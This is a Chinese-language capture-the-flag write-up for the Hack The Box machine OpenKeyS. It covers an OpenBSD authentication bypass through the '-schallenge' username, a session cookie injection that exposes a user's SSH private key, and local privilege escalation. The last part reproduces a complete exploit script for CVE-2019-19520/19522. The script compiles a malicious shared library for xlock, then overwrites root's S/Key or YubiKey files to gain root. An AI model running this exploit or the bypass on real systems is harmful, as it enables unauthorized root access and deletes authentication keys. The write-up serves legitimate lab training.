HTB-OpenKeyS
信息收集
80端口
对其进行简单的SQL注入测试和NoSQL注入测试后进行目录扫描。
auth.swp文件内容如下:
代码不是很完整,只能大致了解意思(请原谅我脑子抽了没注意是个swp交换文件)。
session_start(); //启动新会话或者重用现有会话
session_destroy(); //销毁一个会话中的全部数据
session_unset(); //释放所有的会话变量
{function close_session()} //定义一个名为close_session的函数,作用可能是关闭当前会话。
$_SESSION["username"] = $_REQUEST['username']; //记录对话的用户名
$_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT']; //记录对话的用户代理
$_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR']; //记录对话的IP地址
$_SESSION["last_activity"] = $_SERVER['REQUEST_TIME']; //记录对话最后一次激活的的请求时间
$_SESSION["login_time"] = $_SERVER['REQUEST_TIME']; //记录对话的登陆时间
$_SESSION["logged_in"] = True; //对话登录
{function init_session()} } return False;//初始化对话
{ else } } return True;
$_SESSION['last_activity'] = $time; //记录对话最后一次活跃时间
// Session is active, update last activity time and return True { else } return False;
close_session(); //关闭当前对话
{ ($time - $_SESSION['last_activity']) > $session_timeout) if (isset($_SESSION['last_activity'])&& $time = $_SERVER['REQUEST_TIME'];
// Has the session expired? { if(isset($_SESSION["logged_in"])) // Is the user logged in? session_start();
// Start the session $session_timeout = 300;
// Session timeout in seconds{function is_active_session()} return $retcode;
system($cmd, $retcode); //执行cmd和cmd的参数
$cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password); //对字符串../auth_helpers/check_auth username password进行转义并赋给cmd变量
{function authenticate($username, $password) //对username和password进行验证
不行,这样看不知道该怎么利用。使用wget下载下来。
使用vim -r auth.php.swp从swp文件中恢复,保存时候会出现问题,找不到路径。
创建一个路径就可以了。然后再vim -r auth.php.swp恢复,保存后就可以查看源码。并且通过file知道了此文件的用户是jennifer。
<?php
function authenticate($username, $password)
{
$cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);
system($cmd, $retcode);
return $retcode;
}
function is_active_session()
{
// Session timeout in seconds
$session_timeout = 300;
// Start the session
session_start();
// Is the user logged in?
if(isset($_SESSION["logged_in"]))
{
// Has the session expired?
$time = $_SERVER['REQUEST_TIME'];
if (isset($_SESSION['last_activity']) &&
($time - $_SESSION['last_activity']) > $session_timeout)
{
close_session();
return False;
}
else
{
// Session is active, update last activity time and return True
$_SESSION['last_activity'] = $time;
return True;
}
}
else
{
return False;
}
}
function init_session()
{
$_SESSION["logged_in"] = True;
$_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];
$_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];
$_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];
$_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];
$_SESSION["username"] = $_REQUEST['username'];
}
function close_session()
{
session_unset();
session_destroy();
session_start();
}
?>
突破口在escapeshellcmd,但是需要知道../auth_helpers/check_auth
的内容是什么。访问http://10.10.10.199/../auth_helpers/check_auth
后得到check_auth文件。
尝试对其逆向发现一个auth_userokay函数。
还有OpenBSD函数。
在OpenBSD manual找到了相应函数。
auth_userokay是一个用于验证用户的身份信息,匹配成功则返回非0,失败则返回0。
尝试对OpenDSB auth_userokay进行漏洞搜索。得知一个CVE:CVE-2019-19521,漏洞内容为验证身份绕过,网站链接。
尝试使用-schallenge作为用户名绕过。
成功了,但是暴露了个问题用户-schallenge没有OpenSSH的key,这个网站的功能应该是登陆后显示登录用户的OpenSSH key。
查看一下auth文件。
session会话的username是从HTTP的REQUEST方式获取,那这个登陆表单的username和这个会话的username是同一个么,如果是同一个那么password在什么地方?所以OpenDSB的auth_userokays的username
与session会话的username
是分开的,因为前者是POST,后者是REQUEST。会话的username是通过HTTP的REQUEST请求获取的。也就是说我们在登陆表单中输入的用户名也会被session获取并且存储。
破局:因为我们通过check_auth接触到了OpenDSB的auth_userokays函数,并且知道这个函数有一个以-schallenge来绕过验证的CVE,同时这个网站的session参数username也会通过我们登陆表单来获取。可能我们通过修改用户名绕过了auth_userokays函数,但是没有通过session的验证(可能因为-schallenge用户不存在),所以我们利用会话的username是$REQUEST
($REQUEST
包括从$GET
、$POST
、$_COOKIE
三种方式获取值)在cookie中建立一个username并且名字等于Aster测试一下。
立足于Jennifer
测试成功。将username等于我们前面获取的jennifer。添加后Jennifer的OpenSSH私钥就暴露了。
Jennifer -> root
Jennifer属于wheel组。如果能找到Jennifer的密码就能够su提升权限。
并且根据系统版本找到了可能存在的提权漏洞。
继续回到前面给予我们帮助的网站。里面还有几个提权的CVE。
CVE-2019-19522,因为没有具有身份验证(auth组)而放弃。
CVE-2019-19519,条件是当前用户Jennifer要在wheel组,并且要知道Jennifer的密码。同样放弃。
CVE-2019-19520
根据CVE-2019-19520在网上找到一个脚本。
# https://github.com/bcoles/local-exploits/tree/master/CVE-2019-19520
echo "openbsd-authroot (CVE-2019-19520 / CVE-2019-19522)"
echo "[*] checking system ..."
if grep auth= /etc/login.conf | fgrep -Ev "^#" | grep -q yubikey ; then
echo "[*] system supports YubiKey authentication"
target='yubikey'
elif grep auth= /etc/login.conf | fgrep -Ev "^#" | grep -q skey ; then
echo "[*] system supports S/Key authentication"
target='skey'
if ! test -d /etc/skey/ ; then
echo "[-] S/Key authentication enabled, but has not been initialized"
exit 1
fi
else
echo "[-] system does not support S/Key / YubiKey authentication"
exit 1
fi
echo "[*] id: `id`"
echo "[*] compiling ..."
cat > swrast_dri.c << "EOF"
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) {
gid_t rgid, egid, sgid;
if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);
char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
}
EOF
cc -fpic -shared -s -o swrast_dri.so swrast_dri.c
rm -rf swrast_dri.c
echo "[*] running Xvfb ..."
display=":66"
env -i /usr/X11R6/bin/Xvfb $display -cc 0 &
echo "[*] testing for CVE-2019-19520 ..."
group=$(echo id -gn | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display)
if [ "$group" = "auth" ]; then
echo "[+] success! we have auth group permissions"
else
echo "[-] failed to acquire auth group permissions"
exit 1
fi
# uncomment to drop to a shell with auth group permissions
#env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display ; exit
echo
echo "WARNING: THIS EXPLOIT WILL DELETE KEYS. YOU HAVE 5 SECONDS TO CANCEL (CTRL+C)."
echo
sleep 5
if [ "$target" = "skey" ]; then
echo "[*] trying CVE-2019-19522 (S/Key) ..."
echo "rm -rf /etc/skey/root ; echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root ; chmod 0600 /etc/skey/root" | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display
rm -rf swrast_dri.so
echo "Your password is: EGG LARD GROW HOG DRAG LAIN"
env -i TERM=vt220 su -l -a skey
fi
if [ "$target" = "yubikey" ]; then
echo "[*] trying CVE-2019-19522 (YubiKey) ..."
echo "rm -rf /var/db/yubikey/root.* ; echo 32d32ddfb7d5 > /var/db/yubikey/root.uid ; echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key" | env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display $display
rm -rf swrast_dri.so
echo "Your password is: krkhgtuhdnjclrikikklulkldlutreul"
env -i TERM=vt220 su -l -a yubikey
fi
通过脚本获得了密码输入密码。
PS:另外,在做任何操作的时候请务必小心,可能由于某个操作导致/tmp/.X11开头的那个目录还是文件的用户拥有组出现问题。